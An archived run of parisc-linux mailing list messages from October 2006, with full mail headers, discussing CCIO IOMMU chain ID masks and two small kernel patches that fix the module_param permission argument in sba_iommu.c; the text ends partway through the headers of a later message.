> > ccio_ioc_init() hpa 0x0000a000 mem 256Mb IOV 128Mb (27 bits)
> >  base 10780000
> > ccio_ioc_init() res_size 0x1000
> >  chainid_shift 0x13
> >  chainid_mask 0x7f80000
> 
> otoh, applying this other formula [io_chain_id_mask = (~(CHAINID_SIZE -1)); 
> with CHAINID_SIZE = (1UL << ioc->chainid_shift)], I got:
> >  chainid_mask 0xfff80000

This second chainid_mask is 13 bits wide.
Remember that the mask can only be 8 bits wide for ccio.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Fri, 20 Oct 2006 10:31:07 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20061020163107.GD23094@colo.lackof.org>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
	<4538BB5F.5040703@scarlet.be>
	<20061020155059.GB23094@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624615 27861 80.91.229.3 (22 Nov 2014 02:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:15 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2006 16:31:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 20 Oct 2006 18:31:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7813B7D796;
	Fri, 20 Oct 2006 10:31:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27282-07; Fri, 20 Oct 2006 10:31:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A854B7D79E;
	Fri, 20 Oct 2006 10:31:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3F1D7D78D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 10:31:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27381-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 10:31:12 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 808A27D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 10:31:12 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4090C49400E; Fri, 20 Oct 2006 10:31:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 030C249400A;
	Fri, 20 Oct 2006 10:31:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6231B360570;
	Fri, 20 Oct 2006 10:31:07 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28143-01; Fri, 20 Oct 2006 10:31:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0F23F36047D; Fri, 20 Oct 2006 10:31:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20061020155059.GB23094@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uZBdBFwjfW4oTuWveGVoArlmdmllcoXH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25358

On Fri, Oct 20, 2006 at 09:50:59AM -0600, Grant Grundler wrote:
> On Fri, Oct 20, 2006 at 12:04:47PM +0000, Joel Soete wrote:
> > mmm offhand wasn't there limits in ccio page size like in ia64 sba comments:
> > >/*
> > >** The zx1 IOC supports 4/8/16/64KB page sizes (see TCNFG register)
> 
> I don't remember.
> ia64 sba is the 3rd generation IO controller.
> U2 (ccio) is the first generation.
> Sorry, I'm not interested in comparing them.

Willy reminded me that Mongoose/WAX was the first.
He's correct of course.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sun, 22 Oct 2006 22:34:42 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20061023043442.GB15915@colo.lackof.org>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
	<4538BB5F.5040703@scarlet.be>
	<20061020155059.GB23094@colo.lackof.org>
	<453904E4.60608@scarlet.be>
	<20061021061944.GA24732@colo.lackof.org>
	<453A563A.9050704@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624615 27863 80.91.229.3 (22 Nov 2014 02:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:15 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:41:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 27 Oct 2006 17:41:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E7AD7D7FC;
	Fri, 27 Oct 2006 09:40:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30282-02; Fri, 27 Oct 2006 09:40:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2E877D75A;
	Fri, 27 Oct 2006 09:40:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A0A37D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 22:34:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08970-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 22:34:45 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6B10C7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 22:34:45 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2939849400A; Sun, 22 Oct 2006 22:34:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id EF77B494009
	for <parisc-linux@parisc-linux.org>;
	Sun, 22 Oct 2006 22:34:44 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 15FE936001E;
	Sun, 22 Oct 2006 22:34:43 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24723-03; Sun, 22 Oct 2006 22:34:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B78EE36000D; Sun, 22 Oct 2006 22:34:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <453A563A.9050704@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8EQpLcYiTlIvULeQeGhrvzNGU2poZRk5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25359

On Sat, Oct 21, 2006 at 05:17:46PM +0000, Joel Soete wrote:
...
> Or I just have to wait public ccio doc to better understand how this hw 
> works ;-)

Sorry, I guess so. :(

Not unless someone at HP can look up a description of "Chain ID" and
related registers in the CCIO documentation and share a summarized
version of those.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <randy.dunlap@oracle.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: fix module_param iommu permission
Date: Mon, 23 Oct 2006 20:01:25 -0700
Organization: Oracle Linux Eng.
Lines: 30
Approved: news@gmane.org
Message-ID: <20061023200125.6f05e0f3.randy.dunlap@oracle.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624615 27866 80.91.229.3 (22 Nov 2014 02:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:15 +0000 (UTC)
Cc: akpm <akpm@osdl.org>,
 kyle@parisc-linux.org,
 matthew@wil.cx
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:52:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 27 Oct 2006 17:52:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E4D67D81D;
	Fri, 27 Oct 2006 09:51:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30989-05; Fri, 27 Oct 2006 09:51:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D9DB7D818;
	Fri, 27 Oct 2006 09:51:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 690C87D656
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Oct 2006 21:00:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29756-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Oct 2006 21:00:43 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3774A7D655
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Oct 2006 21:00:43 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E1AD149400F; Mon, 23 Oct 2006 21:00:42 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from agminet01.oracle.com (agminet01.oracle.com [141.146.126.228])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 72D8B494009;
	Mon, 23 Oct 2006 21:00:39 -0600 (MDT)
Original-Received: from rgmgw2.us.oracle.com (rgmgw2.us.oracle.com [138.1.186.111])
	by agminet01.oracle.com (Switch-3.2.4/Switch-3.1.7) with ESMTP id
	k9O30UoK025375; Mon, 23 Oct 2006 22:00:30 -0500
Original-Received: from midway.site (dhcp-amer-csvpn-gw1-141-144-64-49.vpn.oracle.com
	[141.144.64.49])
	by rgmgw2.us.oracle.com (Switch-3.2.4/Switch-3.1.7) with SMTP id
	k9O30SS1027240; Mon, 23 Oct 2006 21:00:28 -0600
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.10; x86_64-unknown-linux-gnu)
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Whitelist: TRUE
X-Whitelist: TRUE
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FRl7fbwNYW0+VLuGbmZp1Bx0amthc9vz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25360

From: Randy Dunlap <randy.dunlap@oracle.com>

Fix/change module_param permissions parameter from an init value
to a permission value.

Signed-off-by: Randy Dunlap <randy.dunlap@oracle.com>
---
 drivers/parisc/sba_iommu.c |    2 +-
 1 files changed, 1 insertion(+), 1 deletion(-)

--- linux-2.6.19-rc2-git8.orig/drivers/parisc/sba_iommu.c
+++ linux-2.6.19-rc2-git8/drivers/parisc/sba_iommu.c
@@ -109,7 +109,7 @@ static unsigned long piranha_bad_128k = 
 
 #ifdef SBA_AGP_SUPPORT
 static int sba_reserve_agpgart = 1;
-module_param(sba_reserve_agpgart, int, 1);
+module_param(sba_reserve_agpgart, int, 0444);
 MODULE_PARM_DESC(sba_reserve_agpgart, "Reserve half of IO pdir as AGPGART");
 #endif
 


---
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] sba_iommu: module_param() takes permissions
Date: Mon, 30 Oct 2006 01:50:17 +0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20061029225016.GA9197@martell.zuzino.mipt.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624616 27869 80.91.229.3 (22 Nov 2014 02:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:38:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 30 Oct 2006 16:38:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D72E37D921;
	Mon, 30 Oct 2006 08:38:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23279-06; Mon, 30 Oct 2006 08:38:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7FF97D923;
	Mon, 30 Oct 2006 08:36:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 465DE7D818
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 16:52:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08819-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 16:51:59 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 008DD7D808
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 16:51:58 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C519149400D; Sun, 29 Oct 2006 16:51:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184])
	by mail.parisc-linux.org (Postfix) with ESMTP id 54CB949400B
	for <parisc-linux@parisc-linux.org>;
	Sun, 29 Oct 2006 16:51:57 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id p77so2066477nfc
	for <parisc-linux@parisc-linux.org>;
	Sun, 29 Oct 2006 15:51:56 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=XS6RodYHI3GnhHQxTBXKUp3Lp7fVk3F5aAQbZ+Xf0aZui5EjqlTHVWXTccqODNPLyVY0EmPDEsmd7h/Jfj9STiJR1gL0KAoe15jBzEmy46iwdvZnxXvP6YuSqwSLS1j5KrgN1rVSv3St9Pk80J+pJVeYJvYcm9oWo9rKCebyr4k=
Original-Received: by 10.49.20.15 with SMTP id x15mr4467430nfi;
	Sun, 29 Oct 2006 15:51:56 -0800 (PST)
Original-Received: from gmail.com ( [217.67.117.64])
	by mx.google.com with ESMTP id h1sm6259453nfe.2006.10.29.15.51.55;
	Sun, 29 Oct 2006 15:51:56 -0800 (PST)
Original-Received: by gmail.com (nbSMTP-1.00) for uid 1000
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168/168 bits))
	adobriyan@gmail.com; Mon, 30 Oct 2006 01:50:18 +0300 (MSK)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pi5/fdAQYW0+VLuGbmZparx0amthc1tE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25361

not default value

0 is debatable, 1 is certainly wrong.

Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
---

 drivers/parisc/sba_iommu.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -109,7 +109,7 @@ #endif /*CONFIG_AGP_PARISC*/
 
 #ifdef SBA_AGP_SUPPORT
 static int sba_reserve_agpgart = 1;
-module_param(sba_reserve_agpgart, int, 1);
+module_param(sba_reserve_agpgart, int, 0);
 MODULE_PARM_DESC(sba_reserve_agpgart, "Reserve half of IO pdir as AGPGART");
 #endif
 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Git tree rebased
Date: Tue, 31 Oct 2006 08:00:01 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20061031150001.GB26964@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624616 27871 80.91.229.3 (22 Nov 2014 02:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Oct 2006 15:00:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 31 Oct 2006 16:00:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06C467D8C7;
	Tue, 31 Oct 2006 08:00:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12468-06; Tue, 31 Oct 2006 08:00:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44C897D8BA;
	Tue, 31 Oct 2006 08:00:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 737937D8C5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 08:00:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12396-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 08:00:02 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1D5697D8BA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 08:00:02 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 084A649400E; Tue, 31 Oct 2006 08:00:02 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id EB95F49400D; Tue, 31 Oct 2006 08:00:01 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
